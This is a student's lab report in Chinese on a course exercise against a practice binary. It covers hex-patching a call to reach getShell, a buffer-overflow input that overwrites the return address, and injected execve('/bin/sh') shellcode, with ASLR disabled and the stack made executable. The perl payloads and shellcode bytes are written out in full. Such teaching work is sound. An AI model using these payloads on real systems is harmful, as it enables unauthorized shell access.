20155312張競予 Exp1 PC平臺逆向破解(5)M

Exp1 PC平臺逆向破解(5)M

目錄


實驗內容

實驗知識概要

1.掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼html

經過反彙編指令objdump -d 20155312zjy查看可執行文件20155312zjy的反彙編代碼和對應的機器碼,以下圖所示:shell

咱們不難發現:編程

  • NOP彙編指令的機器碼是「90」
  • JNE彙編指令的機器碼是「75」
  • JE 彙編指令的機器碼是「74」
  • JMP彙編指令的機器碼是「eb」
  • CMP彙編指令的機器碼是「39」

想要了解其餘指令的機器碼,能夠參考彙編指令和機器碼的對應表vim

2.掌握反彙編與十六進制編程器sass

  • 反彙編指令是「objdump -d objfile」 ,其中-d參數是
    從objfile中反彙編那些特定指令機器碼的section,和它相似的還有-D參數,但它反彙編全部section。
    • 若是咱們想要以全屏幕的方式按頁顯示反彙編的內容,能夠利用「管道」,即在反彙編指令後添加| more,這樣咱們就能夠利用more的一些快捷鍵,如:Enter(向下翻滾一行),空格(向下滾動一屏),Q(退出命令)
  • 十六進制編程器,是用來以16進制視圖進行文本編輯的編輯工具軟件。其實咱們只須要用各系統都兼容的「vim」編輯器就能夠實現十六進制編輯的功能。具體步驟以下:
    • ① 輸入命令vi 20155312zjy查看可執行文件內容,發現大部分是咱們無法理解的亂碼;
    • ② 按esc後輸入:%!xxd將顯示模式切換爲16進制模式;
    • ③ 進行相關操做後,輸入:%!xxd -r轉換16進製爲原格式。

3.能正確修改機器指令改變程序執行流程bash

見實驗步驟及結果第一部分dom

4.能正確構造payload進行bof攻擊編輯器

見實驗步驟及結果第三部分函數

返回目錄工具


實驗步驟及結果

1、手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數

  1. 用反彙編指令objdump -d 20155312zjy指令查看可執行文件20155312zjy(pwn1的副本)的反彙編結果;
  2. 鎖定須要改的目標代碼80484b5: e8 d7 ff ff ff call 8048491 <foo>
  3. 對比getShell函數的地址0804847d和foo函數的地址08048491,能夠發現兩地址之差爲十六進制「14」;
  4. 分析call彙編指令的機器碼,能夠鎖定e8這個字節爲代碼部分,表明call這個指令,後面的「d7 ff ff ff」這四個字節爲數值部分,表明指令跳轉時須要與「eip」寄存器相加的偏移量;
  5. 因爲數值存儲方式爲小端方式,因此鎖定須要改的字節爲「d7」,將它與地址差「14」作減法運算後的值爲「c3」;
  6. 用vim編輯器打開20155312zjy文件vi 20155312
  7. 將該文件轉換爲十六進制顯示:%!xxd
  8. /e8d7查找須要修改的內容;
  9. 修改d7爲c3;
  10. 轉換16進製爲原格式::%!xxd -r
  11. 保存並退出;
  12. 反彙編看一下,發現call指令正確調用getShell;
  13. 運行zjy20155312,截圖以下:

至此完成了修改機器指令改變程序執行的流程。

返回目錄

2、利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數

實驗步驟以下:

1.分析代碼,發現foo函數存在Buffer overflow漏洞

2.foo函數中讀入字符串,但系統只預留了32字節的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址;

3.正常狀況下call調用foo,同時在堆棧上壓上返回地址值:0x80484ba;

4.確認輸入字符串哪幾個字符會覆蓋到返回地址;

5.用gdb調試程序,輸入有規律的字符串如「1111111122222222333333334444444412345678」

6.緩衝區溢出,程序中止執行,堆棧保持當前狀態;

7.用info r查看寄存器eip的值,看輸入的哪一個字節覆蓋了它,鎖定「1234」這四個字節;

8.因爲1234 那四個數最終會覆蓋到堆棧上的返回地址,因此咱們要用getshell的地址0x0804847d替換它;

9.因爲數據的小端方式存儲,咱們要在32字節後輸入\x7d\x84\x04\x08這四個字節來覆蓋返回地址爲getshell的地址;

10.輸入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input將字符串用perl腳本語言寫入input文件;

11.用xxd input以16進制顯示input文件,檢查寫入地址的正誤;

12.確認無誤後用(cat input;cat) | ./20155312zjy2來將改字符串做爲可執行文件的輸入。

返回目錄

3、注入一個本身製做的shellcode並運行這段shellcode

1.準備工做:用execstack -s pwn1設置堆棧可執行;

2.execstack -q pwn1查詢文件的堆棧是否可執行;

3.more /proc/sys/kernel/randomize\_va\_space 2

4.echo "0" > /proc/sys/kernel/randomize\_va\_space關閉地址隨機化;

5.more /proc/sys/kernel/randomize\_va\_space 0

6.完成準備工做,咱們要明確本身的目的是將shellcode代碼寫入buffer(緩衝區足夠大),或把shellcode放在返回地址後(緩衝區小),把返回地址改成buffer的首地址;

7.打開終端讓可執行文件20155312zjy2在運行狀態,再開一個終端;

8.用ps -ef | grep 20155312zjy2來顯示與20155312zjy2有關的進程列表,從而肯定正在執行的進程的進程號2195;

9.用gdb調試程序;

10.用attach 2195與進程創建鏈接;

11.用info r查看寄存器的值,其實此時咱們能夠經過棧頂的地址計算出buffer的首地址,咱們先不算,繼續後續操做;

12.用disassemble foo反彙編foo函數

13.用break *0x080484a5在輸入後輸出前設置斷點;

14.c即continue繼續

15.運行程序的一段輸入字符串,如12345678,爲了肯定buffer的首地址,咱們只須要找到「1」這個字節的地址便可;

16.用info r查看esp棧頂指針的地址;

17.用x/16x 0xffecafc0以16進制查看esp寄存器地址開頭的內存中的值;

18.找到buffer在堆棧中的位置,計算出地址爲0xffecafdc

19.若是咱們要在返回地址前注入,就須要用perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xdc\xaf\xec\xff\x00"' > input_shellcode這個語句,返回地址對應其中的「\xdc\xaf\xec\xff」,shellcode代碼爲「\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80」;

20.接着用一樣的方法將input_shellcode文件中的內容做爲20155312zjy2這個文件執行時的輸入便可。

至此,完成了構造payload進行bof攻擊。

返回目錄


問題及解決方案

①修改更新源sources.list

  • 添加下列更新源到/etc/apt/sources.list文件
\#阿里雲kali源  
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib  
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib  
deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free  
deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free  
 
\#中科大kali源  
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib  
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib  
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free  
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
  • 對軟件進行一次總體更新
apt-get clean
apt-get update
apt-get upgrade

②安裝32位運行庫

apt-get install lib32ncurses5

運行後會等待一會會出現以下提示界面,這時按一下回車就行了:

  • 問題2:在解決問題1時,運行apt-get upgrade時提示「有未能知足的依賴關係」
  • 解決:按照系統提示,運行apt --fix-broken install便可,以下圖所示,待執行完畢進行後續操做便可。

返回目錄


實驗感想

1.個人收穫

第一次動手修改機器碼,應用了上學期深刻理解計算機系統中Y86-64指令集體系結構中的相關知識,發現知識的相關性很容易幫助咱們理解更多的內容;第一次動手實現緩衝區溢出攻擊,終於理解了堆棧是這麼被惡意代碼覆蓋的,覆蓋後是怎麼實現跳轉的,跳轉後是怎麼執行的。

2.什麼是漏洞?漏洞有什麼危害?

經過此次實驗,我發現緩衝區溢出漏洞是在程序設計時,因爲沒有考慮到輸入超出棧分配的空間的狀況,被攻擊者利用形成的,這些漏洞可能一方面與程序設計有關,一方面還與計算機自己的設置和屬性有關,好比要想構造payload進行bof攻擊,必須提早更改相關設置,讓堆棧中的代碼可執行,這也能夠體現出計算機設置不足也會給攻擊者提供機會。危害很大,被攻擊的計算機可能會進入命令行模式,從而攻擊者能夠對文件進行任意的操做,也可能會執行相關的惡意代碼,爲木馬植入、後門設置提供條件。

返回目錄


參考資料

相關文章
相關標籤/搜索